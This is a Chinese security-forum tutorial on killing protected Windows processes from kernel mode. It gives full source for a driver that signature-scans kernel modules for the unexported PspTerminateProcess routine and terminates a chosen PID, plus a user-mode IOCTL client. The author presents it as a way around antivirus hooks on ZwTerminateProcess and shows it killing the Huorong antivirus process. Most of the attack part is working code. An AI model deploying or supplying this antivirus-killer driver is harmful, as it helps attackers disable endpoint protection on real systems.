问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅谈进程强杀
我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。
0x00前言 ====== 我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。 0x01测试 ====== 我们首先打开`PCHunter32.exe`看一下,应用层是不能够访问的,我们知道可以在cmd里面使用`taskkill`命令来结束进程,但这种方式对ring0特权级别的程序并不适用。 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f1f2cda5b62d09da3f0cdd7105f8bc6057bacf30.png) 看一下`PCHunter32.exe`的PID,尝试使用`taskkill`命令关闭发现拒绝访问 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-bf8eaaa9ee1388e22fa9c5bc960de5b5b040327a.png) 用任务管理器也是同样拒绝访问 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-32dd4e4c94f8a09186d4a4abc74fb60779c4e942.png) 0x02 ZwTerminateProcess ======================= ZwTerminateProcess例程终止一个进程**及其**所有线程,它是一个ring0函数,结构及参数如下 ```c++ NTSYSAPI NTSTATUS ZwTerminateProcess( [in, optional] HANDLE ProcessHandle, [in] NTSTATUS ExitStatus ); ``` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-08db38d416b2437eb28a5d8c428ce39f0c868592.png) 在这个函数里面只需要传入进程句柄和NTSTATUS值就可以杀死一个进程,但是这里又有一个问题,如果我们想利用这个函数去kill掉一个杀软,那么杀软就直接让我们宰割吗,当然不会。 我们能知道这个内核的函数,那么杀软肯定也知道,所以在ring0层面下,杀软将这个内核函数hook掉,如果发现有调用这个函数kill掉自己的企图,还是会拒绝。 0x03 PspTerminateProcess ======================== 这个函数就有意思了,在msdn里面居然没有找到这个函数,那么是不是我们搞错了呢? ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-4543338f220b36805a82a5ba0bfcc96f9a3d6c01.png) 遇事不决找Windbg老师看一下有没有这个结构就知道了,当然是有这个函数的,那为什么在msdn里面找不到呢? ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-fb5c6a4e9c265a3d11681ee03718af495e6a12df.png) WDK说明文档中只包含了内核模块导出的函数,对于未导出的函数,则不能直接使用。 如果要使用未导出的函数,则有两种方法来使用: > 1. 暴力搜索,提取该函数的特征码,全盘搜索。 > 2. 如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。 那么我们要想全盘搜索,肯定要先找到内核模块,每个内核模块都有一个对应的结构体,来描述这个模块在内核中的:位置、大小、名称等等。`DriverEntry` 的第一个参数就是这个结构体。 主要关注`DriverSize`和`DriverName`这两个参数,`DriverSize`主要是表示驱动的大小,`DriverName`为驱动的名称 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-c96c49e8cac56ee61317ba81024987c070c0ef80.png) 编写一个驱动输出`driver`的地址 ```c++ #include <ntddk.h> VOID DriverUnload(PDRIVER_OBJECT driver) { DbgPrint("Driver unload successfully!\r\n"); } NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) { DbgPrint("注册表路径:%wZ 地址:%x Hello world!", reg_path, driver); DbgPrint("%x", driver); driver->DriverUnload = DriverUnload; return STATUS_SUCCESS; } ``` 部署一下得到地址为85e17030 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e988a9e2f9f690dfe4a6733ac09a9303d381c4e5.png) 然后在`DRIVER_OBJECT`结构后面加上地址即可得到我们自己驱动的详细信息 ```c++ kd> dt _DRIVER_OBJECT 85e17030 ``` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e5123e7af3c604fcfc1d6ce843a51aac4a412e4b.png) 通过 `_DRIVER_OBJECT` 结构体中 0x014的偏移有一个成员,`DriverSection` 则可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:`_LDR_DATA_TABLE_ENTRY` 看一下`_LDR_DATA_TABLE_ENTRY`的结构 ```c++ kd> dt _LDR_DATA_TABLE_ENTRY ``` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-53f2bb35db36bcaf90583b639a4e9b39d56063ba.png) 加上地址即可得到模块的详细信息 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-027127e926fc1f1799afd5cf96af32343f1b6eab.png) 通过`InLoadOrderLinks`可以查询到其他内核模块的信息。依此类推,可以获取到其他所有的内核模块。 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-efe1be02d84b8b77d25cb54b635ce581d6759c49.png) ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-7cc777a8ced1f98ca8165c4becefbee996e114d7.png) 说完了怎样搜寻模块,再来看看怎么找特征码,首先定位到函数。这种mov、push指令因为可能每个模块都会有,所以不能当作特征码,也不能够选重定位的数据当作特征码。 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-01e73eb8d4481572632fe04103fbb18d3bf56cb1.png) 从中挑选如下代码 ```c++ 805d3487 56 push esi 805d3488 64a124010000 mov eax,dword ptr fs:[00000124h] 805d348e 8b7508 mov esi,dword ptr [ebp+8] 805d3491 3b7044 cmp esi,dword ptr [eax+44h] 805d3494 7507 jne nt!PspTerminateProcess+0x1b (805d349d) 805d3496 b80d0000c0 mov eax,0C000000Dh 805d349b eb5a jmp nt!PspTerminateProcess+0x75 (805d34f7) 805d349d 57 push edi ``` 提取出的相应特征码如下 ```c++ UCHAR szSpecialCode[] = {0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 }; ``` 那么编写代码,通过特征码定位到`PspTerminateProcess`函数来杀死进程 ```c++ #include <ntifs.h> typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; UINT16 LoadCount; UINT16 TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; UINT32 CheckSum; UINT32 TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef NTSTATUS(*pfnPspTerminateProcess)(PEPROCESS pEprocess, NTSTATUS ExitCode); VOID DriverUnload(IN PDRIVER_OBJECT driverObject); //卸载驱动 PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage); // 查找模块中匹配特征码 ULONG g_uPID = 1492; // 要关闭的进程PID // 特征码 UCHAR g_szSpecialCode[] = { 0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 }; // 特征码长度 UINT32 g_uSpecialCodeLen = sizeof(g_szSpecialCode); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath) { NTSTATUS status = STATUS_SUCCESS; PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL; pfnPspTerminateProcess pPspTerminateProcess = NULL; PEPROCESS pEprocess = NULL; DbgPrint("驱动加载完成\r\n"); pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection; pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink; do { pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); // 如果存在则搜索特征码 if (pLdrDataTableEntry->DllBase) { pPspTerminateProcess = (pfnPspTerminateProcess) SearchFunction((PUCHAR)pLdrDataTableEntry->DllBase, pLdrDataTableEntry->SizeOfImage); } if (pPspTerminateProcess) break; // 遍历 pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink; } while ((UINT32)pLdrDataTableEntry != (UINT32)driverObject->DriverSection); if (pPspTerminateProcess) { status = PsLookupProcessByProcessId((HANDLE)g_uPID, &pEprocess); if (NT_SUCCESS(status)) { status = pPspTerminateProcess(pEprocess, 0); if (NT_SUCCESS(status)) { DbgPrint("使用 PspTerminateProcess 关闭进程成功, PID = %d\r\n", g_uPID); } } else { DbgPrint("PsLookupProcessByProcessId Error 0x%X\r\n", status); } } driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT driverObject) { DbgPrint("驱动卸载完成\r\n"); } PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage) { DbgPrint("Here is MemorySearch , length is : %d\r\n", SizeOfImage); PVOID pFuncAddr = NULL; UINT32 uEnd = (UINT32)DllBase + SizeOfImage - g_uSpecialCodeLen; // 减去特征码后的长度 UINT32 i = 0; BOOLEAN bOk = TRUE; while ((UINT32)DllBase <= uEnd) { bOk = TRUE; for (i = 0; i < g_uSpecialCodeLen; i++) { if (!MmIsAddressValid(&DllBase[i]) || DllBase[i] != g_szSpecialCode[i]) { bOk = FALSE; break; } } if (bOk) { pFuncAddr = (PVOID)(DllBase - 5); DbgPrint("找到特征码,内存地址为%p\r\n", pFuncAddr); break; } DllBase++; } return pFuncAddr; } ``` 编译之后生成`.sys`文件,我们再来关闭一下`PCHunter32.exe`,关闭成功 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f6e71e5a3c8cc3f5dcbc36574d8b9d23a1b6fd22.jpg) 再试下强制kill某绒,这里有三个进程,用`HipsMain.exe`来进行尝试 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-2d56582cd889d1eada0a98dd0085c485507520cb.png) ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-00f0a322c2527d57c4d7780ed706da7b05ce593a.jpg) 演示效果如下 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-b32ec1b97a3cc7ebf3dcdd2141d0a0a121452e32.jpg) ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-86257465e857cf55eb2c4759eb0965cab9d11f51.jpg) 也可以利用ring3常规方式传输数据到ring0的方式结束进程,ring3层代码如下 ```c++ // r3tor0killer.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <stdlib.h> #include <winioctl.h> #define SYMBOLICLINK_NAME L"\\\\.\\HbgDevLnk" #define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) #define OPER2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS) #define IN_BUFFER_MAXLENGTH 4 #define OUT_BUFFER_MAXLENGTH 4 int main() { // 获取设备句柄 HANDLE hDevice =CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); DWORD dwError = GetLastError(); if (hDevice == INVALID_HANDLE_VALUE) { printf("获取设备句柄失败 %d\n", dwError); // 如果返回1,在驱动中指定 IRP_MJ_CREATE 处理函数 getchar(); return 1; } else { printf("获取设备句柄成功 \n"); } // 测试通信 DWORD dwInBuffer = 0x850; DWORD dwOutBuffer = 0; DWORD dwOut; DeviceIoControl(hDevice, OPER2, &dwInBuffer, IN_BUFFER_MAXLENGTH, &dwOutBuffer, OUT_BUFFER_MAXLENGTH, &dwOut, NULL); printf("dwOutBuffer: %08X dwOut: %08X\n", dwOutBuffer, dwOut); // 关闭设备 CloseHandle(hDevice); return 0; } ``` 实现效果如下 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-aeb2786a030aad9bcb9f811552f22ec8ac21c828.jpg) 这里启动驱动并在ring3去连接设备,可以看到从ring3返回了信息到了控制台,可以证明连接设备成功 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-0ceb96b7715bcc91457b16e9b8a0add8d47f49fe.jpg) 可以看到已经成功kill掉了某绒进程 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-c1e1d7a59d95b696eb0806dba0bc9b95148c4c31.jpg)
发表于 2022-03-04 09:25:43
阅读 ( 6121 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!